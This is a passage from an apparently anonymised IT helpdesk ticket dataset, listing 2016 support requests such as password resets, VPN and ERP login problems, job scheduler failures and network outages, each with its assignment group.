, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_866808, Description: ticket update on inplant\_866808, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to collaboration\_platform link, Description: access to collaboration\_platform link\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: adding shared mailbox to outlook., Description:
summary:the files for my 2 shared mailbox dierppeared from the left side of my screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: housekeep core files in HostName\_1290. , Description: could you please check feasibility to add additional space in HostName\_1290 /dev/gpfsfs1\_x000D\_
\_x000D\_
justification : bw reports are failing due to space issue in the mentioned mount point., is assigned to Assignment group: GRP\_47.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_37
enter user id of user having the issue: keshyslsj45
transaction code(s) the user needs or was working with: SID\_37
describe the issue: forgot password to SID\_37
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm add in is missing, Description: crm add in is missing, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2653 failed in job\_scheduler at: 10/05/2016 11:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2653 failed in job\_scheduler at: 10/05/2016 11:30:00, is assigned to Assignment group: GRP\_18.Ticket with Short description: knocked off vpn, Description: vpn was disconnected during an incoming call. , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype audio not working, Description: skype audio not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm dynamics ; outlook issue , Description: ms crm dynamics ; outlook issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: appears that pos file processing is not working - apps devt maint & ebus, Description: it appears that the pos files being submitted by our channel partners are not processing. please see the attached log. it appears that the last time a file was processed was on monday, october 3., is assigned to Assignment group: GRP\_20.Ticket with Short description: unable to access any of the bobj explorer reports, Description: i'm unable to access any of the bobj explorer reports. i'm getting ps 50301 & ps 50004 errors. please look into it., is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_1348a failed in job\_scheduler at: 10/05/2016 11:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348a failed in job\_scheduler at: 10/05/2016 11:10:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: as soon as i do select financial\_toolscal years or financial\_toolcal months the company overall value get "no data found", Description: contact # : 499119735568\_x000D\_
summary:bex does not show any results as soon as i limit time periods. sind approx 20 mins. is there again a gneral bex issue at the moment?\_x000D\_
i need to create reporting to my upper management and get no sales infomation out. as soon as i do select financial\_toolscal years or financial\_toolcal months the company overall value get "no data found"\_x000D\_
i have re-staerted bex several times na\_x000D\_
and even rebooted my pc\_x000D\_
\_x000D\_
note : issue is urgent as i have to finally review data tomorrow morning my time with upper management and need to pull a bunch of sales data!!\_x000D\_
\_x000D\_
checked with another colleague too...appears to have same issue...\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_2653 failed in job\_scheduler at: 10/05/2016 10:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2653 failed in job\_scheduler at: 10/05/2016 10:45:00, is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_1315 failed in job\_scheduler at: 10/05/2016 10:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1315 failed in job\_scheduler at: 10/05/2016 10:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: probleme mit pf3 port 13, Description: \_x000D\_
\_x000D\_
received from: ughzilfm.cfibdamq@gmail.com\_x000D\_
\_x000D\_
hallo ,\_x000D\_
\_x000D\_
port fÃ¼r ewew8323846 pf 3 port 13 liefert keine richtige ip .\_x000D\_
bitte prÃ¼fen .\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_1394 failed in job\_scheduler at: 10/05/2016 10:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1394 failed in job\_scheduler at: 10/05/2016 10:41:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to connect to outlook from home network , Description: unable to connect to outlook from home network , is assigned to Assignment group: GRP\_0.Ticket with Short description: system disk c: of server HostName\_698 is full again , Description: \_x000D\_
\_x000D\_
received from: fbyusmxz.kxvmcbly@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
system disk c: of server HostName\_698 is full again â€“ please check.\_x000D\_
we had the same issue 5 weeks ago (ticket inc1543749) and 2 weeks ago (ticket inc1551508).\_x000D\_
please identify and solve the cause of the problem and not only the impact again and again !\_x000D\_
it is the virtual center server.\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer issue delivery notes, windows: on printer prtgt4203<gt03> and prtgt4208<gt08>., Description: printer issue delivery notes, windows: on printer prtgt4203 and prtgt4208\_x000D\_
contact # :12319292139\_x000D\_
error message : install driver, access is denied while printing windows and erp., is assigned to Assignment group: GRP\_3.Ticket with Short description: the report none of the lookup/sort features are available to me., Description: i have access to the report and reporting\_tool now, however when i go into the report none of the lookup/sort features are available to me. there are 4 fields in the upper right corner that should allow me to manipulate the report, however they don't show as available. they just show blankâ€¦here is a screen shotâ€¦\_x000D\_
\_x000D\_
please refer the attachment , is assigned to Assignment group: GRP\_9.Ticket with Short description: urgent help required- outlook to crm mfg\_tooltion issue., Description: contact , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket follow up on inplant\_866530, Description:
summary:i have an open incident request #inco446530 with rakthyesh. can we resolve this here?, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bwhrchgr failed in job\_scheduler at: 10/05/2016 10:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrchgr failed in job\_scheduler at: 10/05/2016 10:01:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: townhall meeting, Description: we need nwfoucba dzbujamc (it germany/germany) for the preparation of our technology town hall meeting on october 17. the beginning of the meeting is at 10 o'clock.\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: unable to access to bobj reports , Description: unable to access to bobj reports , is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: vpn router (rtr01) is down at 9:15 am et on 10/05, site is up on rtro2 , Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_ 9:15 am et on 10/05, \_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_na\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: email settings issue , Description:
summary:i hit the wrong button and messed up my e-mail format. to delete anything i have to go into the home button and delete from there., is assigned to Assignment group: GRP\_0.Ticket with Short description: user called to speak with nicdhylas hidhys...asked user to send an email as on skype he is not available., Description: user called to speak with nicdhylas hidhys...asked user to send an email as on skype he is not available., is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: static noise : interaction id : 1064732743, Description: static noise : interaction id : 1064732743, is assigned to Assignment group: GRP\_0.Ticket with Short description: computer name, Description: \_x000D\_
\_x000D\_
received from: koahsriq.wdugqatr@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
we need a new computer name.\_x000D\_
service tag is: ddwjm72\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: names issues with engineering\_tool system, Description:
received from: vkezwolt.fgnqzeai@gmail.com
hello ,
feel very sorry to say, off late we are facing lots of issues with engineering\_tool system.
please note the below, names not appearing in ascending order of alphabets. looking for particular names has become a nightmare.
[cid:image002.jpg@01SID\_35f29.49a49a10]
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: creating an inspection plan, Description: i have been working on creating an inspection plan and it doesn't seem to be working. i created it but i am not able to view the batch number for this inspection plan in qa32. i tried to create an 89lot as well and it isn't working either (no valid inspection type for material 7417741 was found or selected) is the warning. can you please assist me with this? material is alloy 11 mm# 7417741 and it needs to ship today. contact phone number, is assigned to Assignment group: GRP\_45.Ticket with Short description: not able to make outbound calls from siemens phone system, Description: not able to make outbound calls from siemens phone system, is assigned to Assignment group: GRP\_37.Ticket with Short description: wk38 -> qdxyifhj zbwtunpy, Description: halo ,
der drucker bereitet problem mit dem druck. bitte die einstellungen Ã¼berprÃ¼fen. danke. uwe, is assigned to Assignment group: GRP\_33.Ticket with Short description: authorisation, Description:
received from: bqjvxsaf.aupdonjy@gmail.com
pl. provide z\_pm\_supervisor role to user haajksjp plant plant\_107 system SID\_34
sent from my iphone
, is assigned to Assignment group: GRP\_2.Ticket with Short description: network outage: site engineering\_toolkuznetsk, russia is down since 6:41 am et on 10/05, Description: what type of outage: \_\_\_\_x\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_\_\_\_ 6:41 am et on 10/05\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_no\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_\_na (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_na\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: probleme mit vpn \weszfyok fbadnjhu, Description: probleme mit vpn \weszfyok fbadnjhu, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit portal \franjuz urbghty, Description: probleme mit portal \franjuz urbghty, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp SID\_34 account unlock and password reset for bowtniuy.afgdmesz@gmail.com, Description: erp SID\_34 account unlock and password reset for bowtniuy.afgdmesz@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: russia: interface: vlan1 Â· russia engineering\_tool wharehouse lan on company-eu-rus-engineering\_toolkuznetsk-dmvpn-891-rtr01.company.com is down, Description: russia: interface: vlan1 Â· russia engineering\_tool wharehouse lan on company-eu-rus-engineering\_toolkuznetsk-dmvpn-891-rtr01.company.com is down, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1142 failed in job\_scheduler at: 10/05/2016 06:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1142 failed in job\_scheduler at: 10/05/2016 06:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: problem in outlook client database synchronizing , Description: problem in outlook client database synchronizing , is assigned to Assignment group: GRP\_19.Ticket with Short description: microsoft outlook issue, Description: hi team,\_x000D\_
\_x000D\_
i am unable to get mails intermittently during these time i need to update the folder to get the mails, sometimes it does not work like that too. can you please look into this issue. , is assigned to Assignment group: GRP\_0.Ticket with Short description: upgrade to office 2016, Description: currently there are two versions of office on my computer installed - office 2013 in the 64 bit folder and office 2013 in the 32 bit folder.\_x000D\_
pls delete the old 2013 and repair the new one., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp intercompany inwarehouse\_tool issue sto - 4908197080, Description: from: batia ben-shloosh
sent: wednesday, september 28, 2016 8:06 pm
to:huji uhytry; rujteoza mcoswhjuanthila; yayuel sayatgr
cc: hkfipags sdilxrfk; rzucjgvp ioqjgmah; jhdythua htayhil; udmbwocs kegsjdva
subject: re: mm6599468 - d.n. 9169446361
hello ,
please find the lauacyltoe hxgaycze sto - 5019208191.
please be informed that the same currency problem has occurred on a new shipment under the above d.n.
for 8 pcs mm6599468 under d.n. 9169446361 the inwarehouse\_tool 0811166205 show the total amount of us$ 71.80.15.0712, the real value which show on the sto number 5019286181 is 126.61$ for each.
please check the issue urgently, the shipment is currently hold in our warehouse.
please see the below correspondence on the previous shipment from june 2016.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: login is not possible ??, Description:
received from: lgeuniqf.ijsnyxgf@gmail.com
hallo kollegen,
bitte mal prÃ¼fen, warum der kollege diehm diese frage gestellt bekommt auf nein klickt & sich dann nicht einloggen kann?
dank & gruÃŸ
[cid:hardcopy-cid]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp user id & password not working, Description: \_x000D\_
\_x000D\_
received from: ploxzuts.utvimnwo@gmail.com\_x000D\_
\_x000D\_
dear sir/madam,\_x000D\_
\_x000D\_
pl do the needful regarding the subject matheywter (message shown is wrong user id & password )\_x000D\_
\_x000D\_
fyi & na\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: could not logon to erp via vpn, Description: error message in both systems SID\_34 / SID\_1:\_x000D\_
\_x000D\_
partner 62.157.140.133:3200 not reached. error no 10061: connection refused, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/05/2016 04:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/05/2016 04:17:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: please create dn from plant\_105 to plant\_212 on 1 pc of mm3954300, Description: we can not create please create dn from plant\_105 to plant\_212 on 1 pc of mm4065411? urgent - shipping point dns1., is assigned to Assignment group: GRP\_6.Ticket with Short description: lean certificates not getting sent automatically, Description: hi khadfhty,
today, i created another lean event but still the certificates are not sent automatically to the recipient's. i can see the certificates in the certificate list section. also, co-facilitator 2 name is not appearing in the certificate. same happened for the past event too.
request you to kindly fix this issue on priority.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit alicona nach update \jionmpsf wnkpzcmv, Description: probleme mit alicona nach update \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup we\_wu73 \jionmpsf wnkpzcmv, Description: setup we\_wu73 \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: chg1145744 - stop the reminders , Description: \_x000D\_
\_x000D\_
received from: atdclmyi.wqxzaysu@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
i have received ten mails so far on approval of the above ticket . sample mail attached . pl take immediate steps to stop these reminders as i have already approved the ticket.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password, Description:
received from: uijxpazn.gvtzlphs@gmail.com
dear all,
could you please reset password for dpajkrhy hwvjympt (websty12) immediately and let me know.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1351 failed in job\_scheduler at: 10/05/2016 02:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1351 failed in job\_scheduler at: 10/05/2016 02:34:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: issue with engineering\_tooled software, Description: \_x000D\_
\_x000D\_
received from: ntuhoafg.bzwefjvk@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to see option for creating new customer & new dealer names in the engineering tool software, please help me to resolve the issue.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35eff.5e2f2f10]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: probleme beim zugriff auf zeichnungen - netweaver business clint, Description:
received from: ecoljnvt.lbdqmvfs@gmail.com
sehr geehrte kollegen,
ich kann den netweaver business clint nicht Ã¶ffnen.
wenn ich auf die entsprechende app drÃ¼cke (Ã¼ber vpn bereits verbunden), dann kommt folgender hinweis:
[cid:image001.png@01SID\_35ee0.18647971]
bitte um ihre unterstÃ¼tzung
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2049 failed in job\_scheduler at: 10/05/2016 02:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2049 failed in job\_scheduler at: 10/05/2016 02:10:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: outlook & crm not getting sync, Description: outlook & crm not getting sync, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: seek support\_network related issue., Description: \_x000D\_
\_x000D\_
received from: utoegyqx.lhosidqg@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to access erp and other files through network.\_x000D\_
i am facing this problem from past 3 weeks on daily basis , the issues are addressed to local it team and getting it resolved on case to case basis.\_x000D\_
it is causing lot of disturbance .\_x000D\_
\_x000D\_
seek suppor to resolve the issue.\_x000D\_
\_x000D\_
below is the error message when i tried to log in for SID\_34.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35ef9.a78c5e90]\_x000D\_
\_x000D\_
and each day when i connect to network i am connected to companyguest network, i need to change it to companysecure. after this also i am facing problems.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_1384 failed in job\_scheduler at: 10/05/2016 01:42:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1384 failed in job\_scheduler at: 10/05/2016 01:42:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: interface: fastethernet0/2 Â· timeclock on clhr\_toollant(41.10.34.08611 ) is down since 8:35pm on 10/04/16, Description: interface: fastethernet0/2 Â· timeclock on clhr\_toollant(41.10.34.08611 ) is down since 8:35pm on 10/04/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1346 failed in job\_scheduler at: 10/05/2016 01:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1346 failed in job\_scheduler at: 10/05/2016 01:40:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1391 failed in job\_scheduler at: 10/05/2016 01:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1391 failed in job\_scheduler at: 10/05/2016 01:39:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: can't access erp by vpn, Description:
received from: ovhtgsxd.dcqhnrmy@gmail.com
it help,
i can't login erp SID\_34 from home by vpn with error message below, can you help?
[cid:image001.png@01SID\_35f0c.dcfb21c0]
juhu jojfufn
ap logistics manager
e: ovhtgsxd.dcqhnrmy@gmail.com<mailto:ovhtgsxd.dcqhnrmy@gmail.com>
æœ¬è®¯æ¯ä»…ä¾›æŒ‡å®šçš„æŽ¥æ”¶äººä½¿ç”¨ï¼Œå…¶ä¸­å¯èƒ½åŒ…å«é€‚ç”¨æ³•å¾‹é¡¹ä¸‹ç‰¹è®¸çš„ã€ä¿å¯†çš„å’Œç¦æ­¢æŠ«éœ²çš„å†…å®¹ã€‚é™¤æŒ‡å®šçš„æŽ¥æ”¶äººå¤–ï¼Œä¸¥ç¦å…¶ä»–ä»»ä½•äººä¼ æ’­ã€åˆ†å‘æˆ–å¤åˆ¶æœ¬è®¯æ¯ã€‚å¦‚æžœæ‚¨è¯¯æ”¶åˆ°æœ¬è®¯æ¯ï¼Œè¯·é€šçŸ¥å‘ä»¶äººå¹¶å°†è®¯æ¯åˆ é™¤ã€‚
[
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: ey consultant is unable to login to citrix. attached the error screenshot., Description: ey consultant is unable to login to citrix. attached the error screenshot.\_x000D\_
kindly do the needful., is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2573 failed in job\_scheduler at: 10/05/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2573 failed in job\_scheduler at: 10/05/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: australia, australia is currently experiencing very long loading times for erp. , Description: name:elituyt
language:
browser:microsoft internet explorer
email:byhtu\_47@gmail.com
customer number:
telephone:
summary:australia, australia is currently experiencing very long loading times for erp. can you please look into this?, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp , Description: \_x000D\_
\_x000D\_
received from: duoyrpvi.wgjpviul@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
my erp is running incredibly slow and it tries to load pages and then kicks me out with the below.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35f0a.5f8ac670]\_x000D\_
\_x000D\_
kind, , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp very slow - happens every night starting at 9:45 pm, Description: name:fyzceglp vfnraqxc
language:
browser:microsoft internet explorer
email:fyzceglp.vfnraqxc@gmail.com
customer number:
telephone:
summary:erp very slow - happens every night starting at 9:45 pm, is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_3052 failed in job\_scheduler at: 10/04/2016 22:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3052 failed in job\_scheduler at: 10/04/2016 22:41:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: vip-processed payment - potentional security attempt, Description: from: xmjwanes astmvqhc
sent: wednesday, october 05, 2016 12:14 am
to: nwfodmhc exurcwkm
subject: rakthyesh fw: processed payment - potentional security attempt
do not open.......see the attached received earlier today.
marc
xmjwanes astmvqhc
director, human resources
xmjwanes.astmvqhc@gmail.com
-----original message-----
from: ghyaniel@dealgce.com [mailto:ghyaniel@dealgce.com]
sent: tuesday, october 04, 2016 12:56 pm
to: xmjwanes astmvqhc; naffwflie.hyhtard@kronsnwdg.com; agthynew@kw.com
subject: processed payment
i made a list with the items i need and can find on company.com do you offer discounts for bulk orders?
you can find my contact details and the item list attached.
, is assigned to Assignment group: GRP\_26.Ticket with Short description: window locked for user id - laijuttryhr, Description: \_x000D\_
\_x000D\_
received from: wyxqkzmf.urigtqnp@gmail.com\_x000D\_
\_x000D\_
hi help desk team\_x000D\_
\_x000D\_
my window id locked. please assist to unlock immediately. , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_866566, Description: ticket update on inplant\_866566, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 10/04/2016 19:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 10/04/2016 19:28:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ticket update on inplant\_866142, Description: ticket update on inplant\_866142, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_866570, Description: ticket update on inplant\_866570, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2573 failed in job\_scheduler at: 10/04/2016 18:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2573 failed in job\_scheduler at: 10/04/2016 18:00:00, is assigned to Assignment group: GRP\_44.Ticket with Short description: missing owtlmpuv oicrjsfh in my team calendar page , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
i am missing one person from my gl2 team on the calendar page
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn while updating passwords, Description: unable to connect to vpn while updating passwords, is assigned to Assignment group: GRP\_0.Ticket with Short description: password expired, Description: password expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm dynamics error : outlook addin , Description: ms crm dynamics error : outlook addin , is assigned to Assignment group: GRP\_0.Ticket with Short description: user wants crm mobile app to be donwloaded on mobile, Description: user wants crm mobile app to be donwloaded on mobile, is assigned to Assignment group: GRP\_0.Ticket with Short description: access denied to collaboration\_platform., Description: i cannot access or go to libraries in collaboration\_platform. i need to access this for applications support calls and e-mails. i'm having to transfer to other members, or put the calls on hold while someone else may be available to search for me.\_x000D\_
this is the message i am getting. \_x000D\_
\_x000D\_
if this problem persists, contact your support team and include these technical details: \_x000D\_
correlation id: eb36aa9d-a0d2-3000-b1d3-a16127465a9a \_x000D\_
date and time: 10/4/2016 12:53:18 pm \_x000D\_
user: wfzgituk.rxvqzopt@gmail.com \_x000D\_
issue type: user does not have permissions. , is assigned to Assignment group: GRP\_16.Ticket with Short description: need crm added to outlook ribbon in microsoft outlook for crm mfg\_tooltion, Description: need crm added to outlook ribbon in microsoft outlook for crm mfg\_tooltion, is assigned to Assignment group: GRP\_0.Ticket with Short description: power management query , Description: power management query , is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2-unable to load collaboration\_platform site, Description: unable to load collaboration\_platform site, is assigned to Assignment group: GRP\_0.Ticket with Short description: company home page not loading, Description: \_x000D\_
\_x000D\_
received from: gvcfhwjy.lyxcorqb@gmail.com\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35e4a.ce720dc0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: usa me access to : t:\finance\corporateaccounting\partner\cash & bank reconciliations\misc. cash\account 10134141, Description: from: pjxclyhs fcniljtu
sent: tuesday, october 04, 2016 6:59 pm
to: nwfodmhc exurcwkm
cc: jwoiyzfp zlftrkpq; liz domasky
subject: trupthyti fw: folder access -ticket\_no1556086
please usa me read only access to the following folder:
t:\finance\corporateaccounting\partner\cash & bank reconciliations\misc. cash\account 21245252
kind , is assigned to Assignment group: GRP\_34.Ticket with Short description: lhqsm68267( patching\_antivirus\_sw prod ):node lhqsm68267 located at usa is down since 3:04 pm et on 10/04., Description: lhqsm68267( patching\_antivirus\_sw prod ):node lhqsm68267 located at usa is down since 3:04 pm et on 10/04., is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to load outlook, Description: unable to load outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform not working ; server is busy /unavailable , Description: collaboration\_platform not working ; server is busy /unavailable , is assigned to Assignment group: GRP\_16.Ticket with Short description: urgent help required- outlook to crm mfg\_tooltion issue., Description: royhtub haujtimpton,
